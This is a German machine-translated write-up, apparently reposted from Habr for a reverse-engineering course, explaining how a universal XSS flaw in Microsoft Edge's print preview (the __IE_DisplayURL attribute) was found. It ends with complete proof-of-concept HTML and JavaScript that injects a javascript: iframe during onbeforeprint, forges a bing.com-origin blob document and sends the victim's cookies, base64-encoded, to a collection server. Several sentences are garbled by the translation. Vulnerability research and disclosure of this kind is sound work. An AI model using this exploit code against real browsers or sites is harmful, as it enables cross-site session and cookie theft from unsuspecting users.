Microsoft Edge - Generisches XSS

Die Übersetzung des Artikels wurde speziell für Studenten des Reverse Engineering- Kurses erstellt.





Universal XSS (uXSS) ist ein Browser-Fehler, mit dem Sie JavaScript-Code auf jeder Site ausführen können.

Es scheint, dass XSS auf allen Websites verfügbar ist und sehr interessant aussieht. Noch interessanter ist, wie ich diesen Fehler gefunden habe. Wenn es um uXSS geht, ist dies normalerweise höchstwahrscheinlich auf das IFRAME-Element oder die Aufregung mit der URL zurückzuführen, aber ich hätte nie gedacht, dass ich mit der Funktion print() eine XSS-Sicherheitsanfälligkeit finden würde.

Vorschaufenster


Lassen Sie uns darüber sprechen, was tatsächlich passiert, wenn Edge ein Druckvorschaufenster anzeigt.

Ich habe immer gedacht, dass es nur einen Screenshot gibt, der von einer Technologie wie Canvas gezeichnet wurde, aber tatsächlich wird die Seite, die Sie drucken möchten, auf temporär kopiert und neu gerendert!

Wenn print() auf der Seite ausgeführt wird, wird in Process Monitor die folgende Dateisystemaktivität angezeigt :



Die Datei wird also im temporären Edge-Verzeichnis erstellt, und der Inhalt dieser Datei ist eine leicht geänderte Version der Originalseite, die wir zu drucken versucht haben. Vergleichen wir.

Vor dem Drucken:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html> 

Nach dem Drucken:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML> 

Es gibt mehrere Dinge, die wir aus diesem Vergleich erkennen können.

  1. Javascript ist falsch codiert und gerendert.
  2. IFRAME verweist jetzt auf eine andere lokale Datei im selben Verzeichnis, die den Quellcode für den ursprünglichen bing.com Link enthält.
  3. Das HTML-Element hat jetzt ein besonderes Attribut __IE_DisplayURL .

In Bezug auf den ersten und zweiten Punkt habe ich mehrere Tests durchgeführt. Zuerst wollte ich verstehen, ob ich nach dem Ändern der Codierung gültigen Javascript-Code erhalten kann, in der Hoffnung, dass ich am Ende Javascript ausführen kann. Es stellte sich heraus, dass normaler oder nicht normaler Code im < script> -Element nicht ausgeführt wird.

Das zweite Element hat mir geholfen, den Benutzernamen des Betriebssystems mithilfe der Funktion @media print{} in CSS und Selector Magic @media print{} . Ich konnte es vom IFRAME href-Wert erhalten. Dies war jedoch nicht genug.

Im dritten Absatz wurde es interessant, da dieses Attribut äußerst ungewöhnlich ist und ich ihn bis jetzt nicht getroffen habe. Ich googelte ihn sofort und fand mehrere Artikel, auf deren Grundlage mir klar wurde, dass jemand, Masato Kinugawa, bereits mit ihm gespielt und coole Bugs entdeckt hatte.

Nach dem Lesen und einigen Übungen stellte ich fest, dass der Vorschaukontext von der Herkunft dieses Dokuments erfährt. Dies ist sinnvoll, da Edge Dateien mit dem file: URI-Schema öffnet. Wenn dieses Attribut auf die Quelle verweist, werden Sie feststellen, dass alle Anforderungen, die aus dem Dokument (als Teil der Vorschau) stammen, genau dasselbe Verhalten nachahmen, als ob sie von der ursprünglichen Website stammen.

Wie können wir dieses Attribut verwenden? Es muss einen Weg geben!

Ausführung von Javascript-Code mit Vorschau


Wie ich bereits sagte, wird jeder JavaScript-Code im normalen Skript-Tag blockiert oder einfach ignoriert. Aber was ist, wenn Sie in eine andere Richtung denken? Ich habe alles versucht, was mir einfiel, also werde ich Sie davor bewahren, Zeit mit vielen erfolglosen Versuchen zu verschwenden, und direkt zur Sache kommen.

Hier haben wir es mit der Druckfunktion zu tun, also habe ich mit Ereignissen im Zusammenhang mit dem Drucken gespielt. Das Ergebnis wurde mir von "onbeforeprint" , mit dessen Hilfe ich die Möglichkeit bekam, einen IFRAME zu implementieren, der auf eine Website zeigte, und Edge musste ihn nicht zuerst in eine Datei konvertieren. Fast sofort habe ich versucht, einen IFRAME zu implementieren, der auf die URL des Javascript-Codes und der Dame verweist! Dieser Code wurde im Kontext der Vorschau ausgeführt.

Javascript-Injektionstest:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html> 

Nach dem Konvertieren der Dokumentvorschau:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML> 

Screenshot des Ergebnisses:



Nur weil wir Code ausführen können, heißt das nicht, dass wir fertig sind. Wie bereits erwähnt, wird aufgrund des Attributs __IE_DisplayURL jede Anforderung oder jeder API-Aufruf als vom Dokument ausgehend betrachtet.

UXSS-Implementierung


Nachdem wir unseren ausführbaren Code implementieren können, müssen wir irgendwie unsere eigene „Dokumentvorschau“ mit unserer eigenen __IE_DisplayURL und dann jede Website simulieren, die wir für uXSS auswählen.

Ich habe festgestellt, dass ich mit der Blob-URL den gewünschten Effekt erzielen kann! Also habe ich mein eigenes druckbares Dokument erstellt, wobei mein Attribut auf die bing.com verweist (in meinem Fall bing.com ). Es enthielt Javascript IFRAME, das so lief, als ob es von bing.com stammte.

Ich habe den folgenden Code implementiert:

 if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) } 

Wobei top.document.getElementById('qd').value das nächste gefälschte Dokument ist, das gedruckt werden soll.

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> 


Ich lese nur document.cookie und sende sie zurück an den Server.
Lassen Sie uns nun zusammenfassen, was die endgültige Version des Exploits bewirkt:

  1. Mit dem Ereignis onbeforeprint ich einen IFRAME ein, der unmittelbar vor dem Drucken auf meine Nutzdaten verweist.
  2. Zum Initialisieren rufe ich window.print() .
  3. Edge zeigt dann ein Vorschaufenster an, während mein eingebetteter Code gerendert wird.
  4. Der eingebettete Javascript-Code hat eine Blob-URL erstellt, die mein eigenes druckbares bing.com und den oberen Frame an diese Adresse umleitet.
  5. Der Druckvorschau-Kontext geht davon aus, dass der Inhalt meiner Blob-URL wirklich druckbar ist, und setzt den Ursprung des Dokuments mithilfe des Attributs __IE_DisplayURL auf __IE_DisplayURL .
  6. Das gefälschte druckbare Dokument selbst enthält einen weiteren IFRAME, der einfach die document.cookie von bing.com .
  7. uXSS funktioniert!

Endgültiger Code und Video


 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html> 



Nützliche Links:

Microsoft.com

Source: https://habr.com/ru/post/de468097/


All Articles